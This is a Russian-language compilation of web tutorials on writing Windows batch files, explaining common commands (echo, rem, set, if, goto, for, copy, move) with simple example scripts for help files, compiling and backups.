Командная строка / Пишем bat - файлы. Бат команды


Команды bat файла | Компьютерная помощь

В прошлом материале Мы пробовали создать bat файл в Windows 7, 8, теперь пришло время рассмотреть bat команды. В основном  тут используются  команды вводимые в cmd, но есть и такие, которые нет смысла использовать в командной строке.

Как получить полный список bat команд

Для описания всех команд потребуется написать целый ряд статей, чтобы Вас сильно не нагружать ограничимся в рамках одной статьи и рассмотрим компактную информацию. Как известно, команды bat файла  и cmdодни и те же, чтобы получить их список запустите cmd в Виндовс 7 или командную строку в Windows 8. Введите команду справки, которая по-английски пишется как help, нажмите Enter. В результате компьютер в интерфейсе cmd пропишет все команды с кратким описанием.

Ознакомившись с данным списком, Вы захотите узнать поподробнее, что представляет собой определенная bat команда. Например, выберем команду for, для ее описания введем help for или for /? и кликнем энтер. В результате Вы получите оперативную справку по команде, она объемная, поэтому потребуется нажать несколько раз любую клавишу, чтобы ознакомиться с последующим описанием. Таким образом, можно изучить синтаксис той или иной команды.

Команды bat файла

Сейчас познакомимся с командами, используемыми в пакетном файле, с кратким описанием. Они не чувствительны к регистру, тем не менее, Мы их перечислили в верхнем регистре, чтобы помочь с идентификацией.

@Все выполняемые bat команды выводятся на экран, чтобы убрать лишнее, перед командой ставится «собака». Часто используется с @echo off.
setЗадает переменные. Например, setper=c:\windows здесь per присваиваем путь. В переменную можно записать громоздкое значение и указать ее в сценарии, что сделает код компактнее. Если ее содержание изменится, тогда не придется менять везде значения, где предусмотрена эта переменная.
::Один из двух методов комментирования в bat файле без вывода этой строки на экран.
:LABELПри добавлении к слову двоеточия, создается метка, которая позволяет перейти к разным разделам батника. Метка может носить другое название, LABEL это пример.
CALLBat команда, вызывающая один пакетный файл в другом. Все параметры, описанные в одном из файлов, могут быть переданы друг другу.
CHOICEКоманда выбора.
CLSОчищает содержимое командного интерпретатора, что выведено на экран выше  CLS.
ECHOВыводит сообщение на экран. Например, «ECHO Привет!» выведет «Привет!». Если не использовать @ECHO off в начале пакетного файла, тогда Вы увидите путь к bat файлу и два сообщения, что является излишним. Вы можете создать пустую строку введите ECHO. с точкой в конце.
EXITЗавершает текущий пакетный сценарий.
GOTO LABELИспользуется для перехода к определенной метки, в данном случае к LABEL и исполняет сценарий после нее.
IFКак и в языках программирования batкоманда ifолицетворяет выполнение условия, в зависимости от которого сценарий пойдет по тому или иному пути. С синтаксисом знакомьтесь в справке.
forЦикл, используемый для организации выполнения одних и тех же действий.
PAUSEЕсли необходимо ознакомиться с результатом сценария, а он выполняется, и окно быстро закрывается, тогда используйте PAUSE. Она позволит посмотреть результат и завершить сценарий по нажатию любой кнопки.
REMВторой способ комментирования. В отличии от :: печатается на экране, если нет конструкции @ECHO off.
SHIFTИзменяет  положение пакетных параметров в bat файле.
STARTЗапускает программы, окна и т.д. Имеет множество атрибутов (смотрите справку).

Это является основой bat команд. Синтаксис некоторых элементов сложен для новичков и требует определенные знания. Все команды bat файла, описанные выше, рассмотрены поверхностно, с целью узнать их предназначение, а полный синтаксис Вы найдете в справке Windows.

Посмотрите еще статьи:

Вы можете пропустить чтение записи и оставить комментарий. Размещение ссылок запрещено.

nastrojcomp.ru

Команды bat-файлов (Windows)

При работе на компьютере часто возникает необходимость повтора одних и тех же DOS-команд для осуществления периодически исполняемых действий, построения сложной и многоуровневой последовательности исполняемых команд или приложений, автоматизации работы с приложениями и файлами с участием или в отсутствие пользователя. В операционной системе есть возможность записать несколько команд в bat-файле. При этом, просто запуская данный командный файл (часто его называют скрипт, или просто «батник»), можно осуществлять выполнение прописанных команд, а прописав его в событиях планировщика Windows, можно автоматизировать этот процесс.

Особенностью файлов данного типа является отсутствие внутри какого-либо кода - имеется только тактовая информация, которую считывает и исполняет командный DOS-процессор, совместимый практически со всеми версиями операционной системы Windows. Одним из ярких примеров является файл autoexec.bat, который необходим для запуска этой ОС, так как именно он осуществляет ее настройки в ходе запуска.

Основные возможности командных файлов

Команды, которые содержит bat-файл, по функционалу можно условно разделить на несколько групп:

- предназначенные для вывода на экран определенного значения, фразы, приложения или сведений;- для осуществления запуска пакетных документов;- для работы с циклами;- для создания ветвления исполнения с помощью условий;- для работы с приложениями.

Выполнение командных файлов

Запуск bat-файлов можно осуществить различными способами. При работе в командной строке в текущем каталоге можно просто вводить имена файлов с дополнительными параметрами или без них. При этом команды bat-файлов после запуска будут выполняться последовательно друг за другом, уже без вмешательства пользователя.

При нахождении командного файла в другом каталоге необходимо кроме полного имени этого файла прописать полный путь до каталога его хранения. Расширение файла также можно не прописывать. Например, текущий каталог d:\photo\work, а командный файл vera.bat, который нужно выполнить с параметрами resize.doc и /p, находится в каталоге d:\photo\home. Тогда для того, чтобы осуществился запуск нашего файла, нужно прописать команду d:\photo\home\vera resize.doc /p или команду ..\home\vera resize.doc /p.

Прерывание работы

Исполняемые после запуска команды bat-файлов можно прервать комбинациями кнопок <Ctrl>+<Break> и <Ctrl>+<C>. На дисплее появится запрос на прерывание выполнения командного файла с запросом, ожидающим ввода Yes или No. Если ввести Y, то выполнение прервется, а оставшийся список команд bat-файла будет проигнорирован. Если введете символ N, то выполнение продолжится со следующей команды из списка.

Вызов другого командного файла

Bat-файлы могут содержать в себе ссылки на исполнение других скриптов. Если просто прописать в теле скрипта bat-файл, команды после него уже исполняться не будут, так как управление передается на другой батник и будут выполнены команды уже из него. Если требуется возврат после запуска внутреннего файла, то его можно вызвать командой CALL. Формат команды выглядит так: CALL имя-бат-файла [параметры запуска].

Параметрами, которые передаются вызываемому командному файлу (файлам), обычно являются символы %1 - %9. Когда команды bat-файлов все последовательно будут пройдены, продолжится выполнение исходного скрипта со следующей строки.

Пошаговое выполнение

Бывают случаи, когда команды bat-файлов нужно выполнить пошагово (с остановкой после каждой строчки). Наиболее часто такой режим требуется при отладке или тестировании скриптов. Написание команды выглядит так: COMMAND /y/c имя _скрипта [параметры].

При выполнении на каждую команду будет выдаваться запрос Y или N. Если требуется выполнение команды — жмем клавишу Enter или Y. Если нужно пропустить команду — жмем ESC или N.

Отключение и включение вывода команд на экран

Когда запускается bat-файл, команды построчно перед выполнением отображаются на экране и после этого выполняются. Иногда это вызывает неудобство, так как при большом батнике команды длинным списком пробегают перед пользователем на экране, а иногда требуется их показ, например, для диалога или отладки. Чтобы bat-файл команды выводил на дисплей, применяется команда ECHO ON. Для отключения этого режима нужно ввести ECHO с параметром OFF. При этом все исполняемые далее команды показываться на экране уже не будут.

Для отключения вывода только какой-либо одной строки батника на экран можно использовать в самом начале этой строки символ @. Чаще всего этот символ можно встретить в паре с командой @ECHO OFF для исключения вывода ее на дисплей монитора. Такой режим часто используют злоумышленники, создавая на основе bat-файлов вирусы или доставляя мелкие и крупные неприятности пользователям компьютеров.

Сообщения при исполнении команд

Если после команды ECHO будут расположены символы, отличные от ON или OFF, то они будут выводиться на экран в любом режиме. Если ECHO будет без параметров, то она выдает на экран состояние режима отображения исполняемых команд — включен или выключен.

При желании можно воспроизвести даже звуковой сигнал (писк) компьютера, используя bat-файл. Команды, примеры которых приведены далее, основаны на операторе ECHO с добавлением специальных символов.

Для воспроизведения звукового сигнала нужно вывести стандартный символ с кодом 7. Сделать это можно, нажав клавишу <alt> и «7» на цифровой клавиатуре (с надписью home).

Для того чтобы повысить удобочитаемость сообщений можно применить команду ECHO с параметром «.» (она ставится сразу за командой без пробела) или специальным символом с кодом 255. На экране это будет выглядеть как пустая строчка.

Команду ECHO можно использовать для вывода сообщений в отдельный файл. Суть ее состоит в перенаправлении вывода сообщений на запись в файл, а не на экран монитора. Для сохранения логов, анкетирования, записи событий можно использовать пакетные файлы bat. Команды вывода имеют следующий формат:

- ECHO-сообщение >> имя файла — команда добавляет строчку в конец существующего файла. Если такого файла в данной директории нет, то создается новый файл.

- ECHO-сообщение > имя файла — этой командой создается новый файл, и в него записывается текущая строчка. В случае наличия такого файла в текущей директории, содержимое его будет удалено и записана команда или ее результат.

Использование комментариев

Для удобства редактирования скриптов используется команда REM. Все находящиеся после нее команды bat-файлов Windows игнорирует при исполнении. Их можно увидеть при редактировании и при пошаговом режиме. Во всех других случаях комментарии на экран выводиться не будут.

Команда задержки в bat-файле

Иногда во время выполнения батника возникает необходимость временно остановить исполнение команд, например, для ожидания реакции пользователя, для увеличения времени на прочтение длинного сообщения, для вставки диска, подтверждения присутствия пользователя или для отладки пакетного файла. Команда задержки в bat-файле пишется как PAUSE без параметров. При этом на дисплее отобразится сообщение типа «Нажмите любую клавишу для продолжения», и выполнение скрипта будет приостановлено до нажатия кнопки клавиатуры. Если будет нажата комбинация <ctrl>+<break> или <ctrl>+<c>, то система воспримет это как завершение работы исполняемого файла и выдаст запрос на подтверждение завершения его работы: «Прервать выполнение командного файла? (Y/N)». Если нажать клавишу Y, то произойдет прерывание работы скрипта в этом месте и все оставшиеся невыполненные команды будут проигнорированы. При нажатии N выполнение будет продолжаться со следующей команды. При паузе нажатие любых других буквенно-цифровых клавиш, а также «Пробел» и «Ввод» выполнение исполняемого файла будет продолжаться со следующей команды.

Для последовательного исполнения нескольких файлов из списка, находящихся в одной директории, также можно использовать bat-файл. Команды «запуск программы по названию» и «запуск программы по расширению файла» часто могут помочь с автоматизацией обработки документов, например сортировка вложений почты. Отличаются они параметрами для команды FOR. Формат написания ее приведен ниже:

- FOR %x IN (список файлов) DO команда, где:

- х - любой символ, за исключением цифр от 0 до 9;

- список — разделенные пробелами имена файлов или название одного файла; при этом можно использовать спецсимволы «?» и «*» для замены от одного до нескольких знаков в названии файлов;

- команда — любая DOS-команда или программа, кроме FOR; если есть необходимость использования FOR, то вместо %x нужно указать %%x.

При использовании этой команды для написания bat-файлов нужно учитывать, что имена в программах формата DOS имеют ограничение по длине названия. Для того чтобы произвести переключение команды FOR на работу с длинными именами файлов, нужно не забыть перед ней запустить команду LFNFOR ON для включения режима работы с длинными именами и LFNFOR OFF для его отключения и возврата к стандартной длине файлов.

Многие функции с программами, такие как сравнение файлов с определенными типами расширений, находящихся в одной директории, с файлами тех же типов из другой директории, копирование всех файлов текущего каталога в другой, последовательное исполнение файлов с расширениями определенного типа и названиями, начинающимися с цифр, можно осуществить с помощью всего лишь одной вписанной в bat-файл команды. Запуск программы можно комбинировать с запросами пользователя, что способствует повышению удобства работы с данными.

Переходы в bat-файлах

Для удобства управления порядком запуска команд в bat-файлах в них часто используют команды переходов и метки, по которым эти переходы осуществляются. Метка представляет собой любую строку исполняемого файла, которая начинается с символа «двоеточие». Имя метки — это набор символов после двоеточия до конца строки или до первого пробела, после которого остаток строки игнорируется, что можно использовать как комментарий к метке перехода.

Команда перехода имеет написание GOTO с названием метки через пробел. Если параметра нет или название метки в командном файле не обнаружено, то работа скрипта на этой команде прекращается. Пример:

GOTO zzz

:zzz

REM (запускаются требуемые команды).

В этом примере последовательное исполнение командного файла, дойдя до GOTO zzz, переходит на метку :zzz и продолжается с REM, игнорируя все, что находится между командой перехода и указанной меткой.

Использование условий при работе с bat-файлами

Bat-файл может исполнять или не исполнять команды в зависимости от различных условий, если в нем применяется проверка наступления события IF. Формат этой команды выглядит как «IF условие команда».

Условие представляет собой различные варианты выражений:

- ERRORLEVEL число — в том случае, когда предыдущая выполняемая программа закончилась с кодом завершения, равным указанному числовому значению или больше него, условие будет истинным.

- СТРОКА 1 == СТРОКА 2 - в случае полного совпадения строк условие становится истинным. Вместо строк можно подставить символы %0 - %9, тогда будут сравниваться параметры командного файла.

- EXIST - имя файла - если указанный файл существует, то условие истинное.

- NOT - условие — если указанное условие ложное, то на выходе команды получим истинное значение.

Применяемые команды в bat-файлах

Если нажать кнопку "Пуск" и запустить командную строку (cmd), то можно посмотреть все вставляемые в bat-файл команды. CMD-режим можно использовать как средство для отладки, как помощника, программу для получения сведений о командах. Для этого просто можно набрать HELP. При этом выдается список команд с краткими описаниями к ним. Для получения более детальной информации можно ввести HELP с названием нужной команды.

Использование bat-файлов при резервном копировании данных

Командные файлы сильно упрощают жизнь системным администраторам при осуществлении повседневной работы. Наиболее распространенной сферой их применения являются резервное копирование, создание, удаление, переименование и многое другое. Все это основано на использовании команды bat-файла COPY. К примеру, можно создать программу, которая делает архивные копии документов из выбранной папки с пользовательскими данными определенных форматов, исключив, допустим, медиафайлы большого объема, обеспечив резервирование в папке с именем пользователя и текущей датой, и назвать ее "Команда_копирования_файлов.bat". После этого необходимо обеспечить ее запуск в определенное время с помощью встроенного планировщика или силами самой программы и тем самым обеспечить сохранность данных пользователя.

fb.ru

Пишем bat - файлы

Писать bat-файлы может каждый!

Командный процессор

В состав многих операционных систем, в том числе, разработанных корпорацией Microsoft, входит командный процессор. Так называется программа, которая инициирует выполнение всевозможных действий в ответ на команды, вводимые пользователем с клавиатуры. В основном эти действия заключаются в запуске нужных программ с теми или иными параметрами. Но не только; дальше мы увидим, что некоторые команды выполняются непосредственно командным процессором. В основном это те команды, которые служат для управления контекстом и последовательностью выполнения команд. Однако мы не будем особенно глубоко задумываться о природе команд, во всяком случае, без необходимости. Важнее другое: любая программа, которую технически возможно запустить из командной строки, рассматривается командным процессором как команда. Он не делает различий между «родными» командами, изначально встроенными в операционную систему, и программами, которые были установлены поверх нее.

Для того чтобы запустить командный процессор:

  1. Нажмите на кнопку Пуск. На экран будет выведено главное меню.

  2. Выберите в главном меню пункт Выполнить. На экран будет выведено диалоговое окно Запуск программы.

  3. В поле Открыть введите строку cmd.

  4. Нажмите на кнопку OK. На экран будет выведено окно командного процессора.

Командная строка и команды

Окно командного процессора в первозданном виде выглядит мрачно, и работать с ним большинству людей не очень удобно. Намного проще пользоваться файловыми менеджерами в стиле Norton Commander. В них предусмотрены как средства для быстрой навигации по файловой системе, так и срока для ввода команд.

Для того чтобы ввести команду:

  1. Наберите текст команды в командной строке.

  2. Нажмите на клавишу Enter.

Командный процессор и команды операционной системы описаны в эксплуатационной документации на последнюю. Эта документация частично содержится внутри самой операционной системы. Для доступа к ней предназначена команда help. По этой команде на экран выводится список доступных команд. Для того чтобы получить описание конкретной команды, в качестве параметра команда helpследует указать ее имя. Командная строка, показанная на следующем листинге, выводит на экран описание команды for.

help for

Если вы попробовали ввести команду help, то наверно обратили внимание, что результат ее работы (т.н. выдача) не умещается на один экран. Та же проблема возникает с текстом описания команды for. Хорошая новость состоит в том, что выдачу можно перенаправить в файл. Командная строка, показанная на следующем листинге, формирует файл commands.txt, содержащий список всех команд MS-DOS.

help > commands.txt

Для того чтобы сформировать файл с описанием команды for, надо дать такую команду (имя выходного файла можете сделать любым).

help for > for.txt

Всего в современных операционных системах корпорации Microsoft чуть меньше 80 команд, и описать их в одной статье невозможно. Здесь мы можем только упомянуть о нескольких командах, полезных для автоматизации обработки файлов и показать, как ими пользоваться. Эти команды будут в дальнейшем использоваться в примерах. Детали вы всегда сможете уточнить по команде help или в справочнике.

copy — копирование одного или нескольких файлов;

del — удаление одного или нескольких файлов;

move — перемещение одного или нескольких файлов или каталогов;

rename (сокращенно ren) — переименование одного или нескольких файлов или каталогов;

xcopy — копирование дерева подкаталогов;

mkdir (сокращенно md) — создание каталога;

rmdir (сокращенно rd) — удаление каталога.

Одно из общих правил синтаксиса команд MS-DOS состоит в том, что при указании параметров сначала указывается источник, а потом результат. Например, если мы хотим переместить файл beer.txt из каталога box в каталог table, мы должны ввести команду, приведенную на следующем листинге.

move box\beer.txt table

Сначала что переместить, потом куда переместить.

Если мы хотим переименовать файл lena.txt в файл natasha.txt, то команда должна быть записана так, как показано ниже.

ren lena.txt natasha.txt

Сначала что переименовать, потом во что переименовать.

Текущий каталог. Абсолютные и относительные пути

При работе с файловыми командами исключительную важность приобретает понятие текущего каталога. Дело в том, что при указании файла в качестве параметра команды мы всегда используем один из двух возможных способов указания на них: либо абсолютный путь, либо относительный путь. В полном пути мы указываем все, начиная с диска (или сетевого имени компьютера), например d:\misha\box\beer.txt. Какой бы каталог ни оказался текущим в момент ввода команды, полный путь будет соответствовать одному и тому же файлу. Для относительного пути текущий каталог служит отправной точкой. Простейший случай относительного пути — имя файла. В контексте выполнения команды оно означает файл с таким именем, расположенный в текущем каталоге.

Для записи относительного пути к текущему каталогу существует условная запись . (точка). Для записи относительного пути к каталогу, в котором содержится текущий каталог, существует условная запись .. (две точки). Команда, показанная на следующем листинге, копирует все файлы из текущего каталога в каталог neighbour, расположенный рядом с ним.

copy *.* .\neighbour

Командные файлы

До сих пор, приводя примеры, мы считали, что всякий раз вводим команды вручную. При обработке большого количества файлов или при систематическом выполнении одних и тех же команд это становится обременительно. Поэтому в командном процессоре предусмотрена возможность выполнения командных файлов. Командный файл — это текстовый файл, в котором набраны команды (или хотя бы одна команда). Пример командного файла показан на следующем листинге. Попробуйте догадаться, что делает этот командный файл.

help copy > copy.help

help move > move.help

md msdos-help

move *.help msdos-help

Если назначение этого файла остается для вас загадкой, то попробуйте в действительности создать и выполнить его. Командным файлам принято давать расширение bat. По нему файлы этого типа опознаются командным процессором. Этот файл можно назвать, например, make-help.bat.

Для того чтобы запустить командный файл:

  1. Введите его имя в качестве команды. После этого командный файл будет выполнен.

В командном файле каждая команда занимает одну строку. Точнее, существует способ расположить одну команду на нескольких подряд идущих строках, для этого непосредственно перед каждым переводом строки следует поставить символ «крышка» ^. (Необходимо, чтобы каждая «крышка» была последним символом в своей строке; после нее не должно быть пробелов и табуляций). Пример такой команды показан на следующем листинге.

if exist disser.txt ^

copy disser.txt ^

d:\science\papers\drafts\sources

Но для простоты, чтобы каждый раз не делать оговорок, мы будем считать, что в некотором смысле это одна длинная «логическая» строка.

При выполнении командного файла командный процессор просматривает его сверху вниз от первой строки к последней и выполняет команды в том порядке, в котором их обнаруживает. Выполняет он в целом их так, как если бы мы каждую из них вводили вручную. В целом, потому что некоторые команды при вводе вручную и при выполнении из командного файла ведут себя немного по-разному.

Забегая вперед, скажем, что при необходимости последовательность выполнения команд можно изменить с помощью управляющих команд (с чем может быть связана такая необходимость, вопрос отдельный).

Не путайте текущий каталог с каталогом, в котором находится запускаемый командный файл. Предположим, текущим каталогом является work, в нем находится каталог tools, а в каталоге tools хранятся командные файлы. Вы запускаете один из них командой tools\collect-images.bat. Так вот, «с точки зрения» этого командного файла, текущим каталогом все равно окажется work, а не tools.

Комментирование командного файла и его выдачи. Команды echo и rem

Командный файл, по существу, представляет собой программу, написанную на языке командного процессора операционной системы. Текст программы полагается снабжать комментариями, чтобы, вернувшись к нему некоторое время спустя, не вспоминать мучительно, для чего эта программа нужна, и как она устроена.

В системе команд MS-DOS для оформления комментариев предусмотрена команда rem. Это фиктивная команда, которая не предполагает выполнения каких бы то ни было действий, но позволяет написать в строке после своего имени произвольный текст. Причем командный процессор не воспринимает его как синтаксическую ошибку. Пример оформления командного файла комментариями показан на следующем листинге.

rem *****************************************************

rem Формирование файлов справки по командам copy и move

rem *****************************************************

rem Формируем файлы справки

help copy > copy.help

help move > move.help

rem Создаем каталог для хранения файлов справки

md msdos-help

rem Перемещаем файлы справки в подготовленный каталог

move *.help msdos-help

Обратите внимание на пустые строки, которыми командный файл разбит на «абзацы». Этот простой прием позволяет сделать командный файл более читабельным.

При выполнении приведенного выше командного файла все команды будут выводиться на экран по мере их выполнения, что не всегда удобно. Выдачу команд можно отключить с помощью команды @echo off. Символ «собака» перед командой echo означает, то и сама эта команда должна выполняться в «молчаливом» режиме. С таким же успехом мы могли бы не пользоваться командной echo off, а поместить «собаку» перед каждой командой.

Во многих случаях требуется, чтобы командный файл выводил на экран (или в файл) те или иные сообщения. В одних случаях это могут быть сообщения об ошибках, в других информационные сообщения, объясняющие пользователю командного файла, что происходит в данный момент, когда-то мы формируем командным файлом какой-нибудь другой полезный файл. Для вывода сообщений применяется та же самая команда echo. В качестве параметра ей передают текст выводимого сообщения. Листинг усовершенствованного командного файла приведен ниже.

@echo off

rem *****************************************************

rem Формирование файлов справки по командам copy и move

rem *****************************************************

@echo Формируем файлы справки. Одну секундочку...

rem Формируем файлы справки

help copy > copy.help

help move > move.help

rem Создаем каталог для хранения файлов справки

md msdos-help

rem Перемещаем файлы справки в подготовленный каталог

move *.help msdos-help

echo Готово!

Передача командному файлу параметров

Предположим, мы хотим создать командный файл, который сначала формирует справку с описанием заданной пользователем команды, а потом загружает его для просмотра в блокнот. Фокус в том, чтобы при очередном запуске командного файла каким-то образом сообщить ему, какая именно команда нас интересует на этот раз.

Для решения этой задачи предусмотрен механизм обработки параметров. Работает он довольно просто. Если при запуске командного файла пользователь указал несколько параметров, то в тексте командного файла первый из них мы обозначаем записью %1, второй записью %2, третий записью %3 и т.д. Этими обозначениями мы пользуемся в тексте командного файла примерно так же, как в естественной речи местоимениями.

Текст командного файла, решающего поставленную задачу, приведен на следующем листинге. Обратите внимание на команду help. В качестве ее параметра ей передается первый параметр командного файла.

@echo off

rem Формируем файл с описанием команды,

rem имя которой передано параметром

help %1 > help.tmp

rem Загружаем файл описания в редактор Блокнот

notepad help.tmp

Предположим, что мы присвоили этому командному файлу имя show-help.bat. Для того чтобы загрузить в блокнот описание команды, например, dir, мы должны ввести команду следующим образом.

show-help.bat dir

Следующий командный файл создает каталог с именем, указанным в первом параметре, и записывает в него файл с текстом описания команды, указанной во втором параметре.

rem Пример командного файла с двумя параметрами

rem Создаем каталог с именем, заданным первым параметром

md %1

rem Создаем в нем файл с описанием команды,

rem заданной вторым параметром

help %2 > %1\%2.help

Что произойдет, если пользователь при запуске этого командного файла укажет не два, а четыре параметра? Ничего страшного, они ничему не помешают, просто не будут использованы. А что будет, если пользователь укажет только первый параметр? Второй параметр окажется пустым. Эффект получится такой: командный файл будет выполнен, но так, как будто на месте записи %2 ничего нет. Команда help сформирует список всех команд и поместит его в файл с пустым именем и расширением.help. Если же пользователь запустить этот файл, не указав ни одного параметра, то при попытке командного процессора выполнить команду md (напомним, она предназначена для создания каталога), мы получим сообщение о синтаксической ошибке, поскольку у команды md обязательно должен быть параметр.

Таким образом, использование параметров создает большие возможности, но может существенно усложнить дело. Для того чтобы командный файл всегда работал корректно, необходимо проверять корректность указания пользователем параметров и каким-то образом реагировать на неполные или неверные входные данные. Можно, конечно, этого и не делать, но некорректно работающий командный файл может наломать дров, особенно, если он предусматривает удаление или перезапись данных.

Переменные. Команда set

Переменной называется поименованное значение. В учебниках по программированию переменную обычно сравнивают с конвертом, на котором написано имя. Внутрь конверта можно положить нечто, например, определенную сумму денег — это ее значение. Как и в случае с конвертом, значение переменной можно изменить.

Для объявления переменной и одновременно для присвоения ей значения применяется команда set. Пример записи этой команды показан на следующем листинге.

rem Компилятор хелп-файлов в формате CHM

set help_compiler=c:\HTML Help Workshop\hcc.exe

Для извлечения значения переменной ее имя помещают между двумя знаками процента, как показано ниже.

rem Компилятор хелп-файлов в формате CHM

set help_compiler=c:\HTML Help Workshop\hcc.exe

rem Проект хелп-файла модуля "Склад"

set store_hpj=help\sources\store\store.hpj

rem Проект хелп-файла модуля "Продажи"

set sales_hpj=help\sources\sales\sales.hpj

rem Компилируем хелп-файлы

%help_compiler% %store_hpj%

%help_compiler% %sales_hpj%

Приведенный листинг показывает, в чем польза переменных.

Во-первых, они позволяют вместо длинного фрагмента (например, пути к компилятору хелп-файлов) использовать внутри командного файла синонимичный ему короткий. Как минимум, это удобно.

Во-вторых, они позволяют избежать повторения в тексте командного файла фрагментов, которые в дальнейшем могут меняться. Представьте себе, что мы переустановили Microsoft HTML Workshop в другой каталог. Если в командном файле для записи пути к нему применяется переменная, то будет достаточно исправить в командном файле только одну строку, а именно, ту в которой присваивается значение переменной help_compiler. Если бы мы писали путь к компилятору всякий раз, когда его необходимо взывать, то после изменения пути нам пришлось бы исправить каждую такую строку. В приведенном примере их две, но в реальном проекте их с таким же успехом может оказаться пять или пятнадцать, по числу хелп-файлов, которые мы хотим скомпилировать. Проблема не в том, что исправлять вручную каждую строчку тяжело (в конце концов, команды “copy” и “paste” никто не отменял), а в том, что это сильно повышает вероятность случайной ошибки.

Параметры командного файла тоже являются переменными, но от обычных переменных отличаются тем, что их значения задаются при запуске командного файла. В дальнейшем, говоря о переменных, в особенности о работе с их значениями, мы будем иметь в виду и параметры командного файла тоже, во всяком случае, в отсутствие явных оговорок на это счет.

При написании командных файлов часто применяют следующий прием: несколько значений переменных указывают рядом (или перемежая их какими-либо символами или строками), так, чтобы получить некоторое новое осмысленное значение. Пример приведен на следующем листинге.

rem Путь к компилятору хелп-файлов

set help_compiler="c:\Program Files\HTML Help Workshop\hhc.exe"

rem Путь к каталогу, в котором находятся проекты хелп-файлов

set project_path=e:\work\projects\help-projects

rem Вызываем компилятор для обработки конкретного проекта,

rem имя которого передаем в первом параметре

%help_compiler% %project_path%\%1.hpj

Проверка условий и выбор вариантов. Команды if и goto

Команда if позволяет выделять в командном файле группы команд, которые выполняются или не выполняются в зависимости от определенных условий. Для чего это нужно?

Проверка условия — почти необходимая мера при создании командных файлов, использующих параметры. Перед тем, как начинать работу, командный файл, вообще говоря, должен удостовериться в том, что ему передан корректный набор параметров. В противном случае велик риск, что он выполнится неверно или безрезультатно, а пользователю останется только гадать, в чем же проблема. Более того, если командный файл удаляет, перемещает или перезаписывает какие-либо данные, то при некорректных параметрах он может даже нанести ущерб.

На следующем листинге показан уже знакомый вам командный файл компиляции хелп-файла. В начало командного файла добавлена проверка первого параметра на непустоту. Обратите внимание на такую особенность синтаксиса: для операции сравнения используется сдвоенный знак равенства. Если первый параметр оказывается непустым, срабатывает команда goto, которая «перебрасывает» командный процессор к указанной метке. В данном случае имя этой метки compile. Обратите внимание, что там, где метка находится, ее имя предваряется двоеточием, а в команде goto нет. При пустом первом параметре командный процессор переходит к следующей строке, которая выдает сообщение об ошибке. А потом к следующей, которая перебрасывает его в самый конец файла к метке с именем finish.

@echo off

rem Проверяем, задан ли параметр

if not "%1"=="" goto compile

rem Если параметр пуст, выдаем сообщение об ошибке

echo Не указано имя проекта хелп-файла

rem и переходим в конец командного файла

rem к метке finish

goto finish

rem Это метка с именем compile

:compile

rem Ниже расположены команды компиляции

rem Путь к компилятору хелп-файлов

set help_compiler="c:\Program Files\HTML Help Workshop\hhc.exe"

rem Путь к каталогу, в котором находятся проекты хелп-файлов

set project_path=e:\work\projects\help-projects

rem Вызываем компилятор для обработки конкретного проекта,

rem имя которого передаем в первом параметре

%help_compiler% %project_path%\%1.hpj

rem Это метка с именем finish

:finish

Скажем прямо, предложенный способ проверки параметра не самый удачный.

Во-первых, если пользователь по ошибке укажет в качестве параметра имя несуществующего файла, командный файл этим удовлетворится и предпримет попытку компиляции. Более правильный способ — проверить, существует ли такой файл в действительности. Для этого в языке команд MS-DOS предусмотрено специальное слово exist. Поэтому лучше было бы написать: if exist %1.hpj goto compile.

Во-вторых, активное использование команды goto (т.н. безусловного перехода) и меток сильно запутывают код. Технически они ничем не плохи, но отлаживать и сопровождать командный файл, написанный в таком стиле, довольно неудобно. Поэтому программисты издавна считают безусловный переход приемом нежелательным. Ниже показан более правильный, с точки зрения стиля программирования, структурированный вариант, в котором используется конструкция if…else. Работает она так: если условие истинно, выполняются команды в скобках после if, а если ложно, то в скобках после else.

@echo off

rem Проверяем, задан ли параметр

if not exist %1.hpj (

rem Если параметр пуст, выдаем сообщение об ошибке

echo Такого проекта хелп-файла не существует.

) else (

rem Ниже расположены команды компиляции

rem Путь к компилятору хелп-файлов

set help_compiler="c:\Program Files\HTML Help Workshop\hhc.exe"

rem Путь к каталогу, в котором находятся проекты хелп-файлов

set project_path=e:\work\projects\help-projects

rem Вызываем компилятор для обработки конкретного проекта,

rem имя которого передаем в первом параметре

%help_compiler% %project_path%\%1.hpj

)

Приведем еще один пример работы с проверками. Следующий командный файл создает каталог с именем help-files (предположим, для выгрузки в него скомпилированных хелп-файлов). При этом, если каталог с таким именем уже существует (и в нем, вероятно, находятся старые хелп-файлы, которые не хотелось бы терять: вдруг новые окажутся хуже?), командный файл присваивает ему расширение bak. Но если каталог help-files.bak уже существовал, то командный файл его удаляет (будем считать, что одной резервной копии нам хватит).

if exist help-files.bak rd help-files.bak

if exist help-files ren help-files help-files.bak

md help-files

Массовая обработка файлов. Команда for

Команда for позволяет организовать выполнение повторяющихся однотипных действий. Можно использовать ее для того, чтобы вывести на экран числа от одного до десяти, как показано на следующем листинге.

for /l %%i in (1,1,10) do echo %%i

Переменная i называется счетчиком цикла. В силу своеобразия синтаксиса команды for, имя счетчика цикла должно состоять из одной буквы. Причем, если мы пишем командный файл, то перед именем счетчика цикла надо поставить сдвоенный знак процента, если же мы просто набираем команду в командной строке, то одиночный.

Логика работы этой команды такова. После слова in указан диапазон изменения счетчика цикла. В данном варианте команды это тройка чисел: начальное значение счетчика, шаг счета, предельное значение счетчика. При выполнении команды командный процессор сначала присвоит переменной i значение 1, а потом на каждом шаге цикла будет увеличивать его на 1, пока оно не превысит 10. Очевидно, таких шагов получится десять. Если бы в качестве шага счета мы указали число 2, то цикл выполнился бы пять раз. На каждом шаге цикла выполняется тело цикла, написанное после слова do. В приведенном примере это команда echo, которая выводит на экран текущее значение счетчика цикла.

Наверно можно придумать ситуацию, когда что-то подобное на самом деле требуется, но обычно команда for используется для перебора и обработки файлов. Надо сказать, что в достаточно простых случаях массовая обработка файлов выполняется с помощью подстановочных символов. Если, мы хотим всем файлам в текущем каталоге заменить расширение .htm на .html, мы вводим команду ren *.htm *.html. Но если то же самое надо сделать не в одном каталоге, а в дереве каталогов, то без команды for не обойтись. Приведенный ниже командный файл выполняет эту операцию для всех htm-файлов в подкаталоге website текущего каталога. Точнее, во всем дереве каталогов, которое находится внутри website.

for /r website %%i in (*.htm) do ren %%i %%~ni.html

